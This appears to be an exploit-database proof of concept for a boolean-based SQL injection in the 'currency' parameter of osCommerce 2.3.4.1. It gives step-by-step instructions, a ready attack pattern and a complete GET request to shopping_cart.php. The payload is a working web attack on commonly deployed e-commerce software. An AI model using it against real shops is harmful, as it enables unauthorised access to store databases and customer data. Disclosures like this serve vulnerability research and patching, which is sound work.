osCommerce 2.3.4.1 - 'currency' SQL Injection

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# Exploit Title: osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities
# Dork: N/A
# Date: 05-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.oscommerce.com
# Software Link: https://www.oscommerce.com/Products
# Version: 2.3.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: osCommerce Online Merchant is a complete online
store solution
  that contains both a shop frontend and an administration backend
  which can be easily configured and customized with over 8,855 free
add-ons.

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# Vulnerabilities / Impact
# This web application called as osCommerce 2.3.4.1 version.
# Switch to the shopping_cart tab. Replace the ID value in the url, with a
high number value.
  for example shopping_cart.php?currency=1 change to 9999999
  then add the payload at Attack_pattern to the end of the url.

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# POC - SQL (Boolean Based)
# Parameters : currency
# Attack Pattern : %27 oR 3620772=3620772 aNd %276199%27=%276199
# GET Request :
http://localhost/oscommerce/catalog/shopping_cart.php?currency=99999999%27
oR 3620772=3620772 aNd %276199%27=%276199

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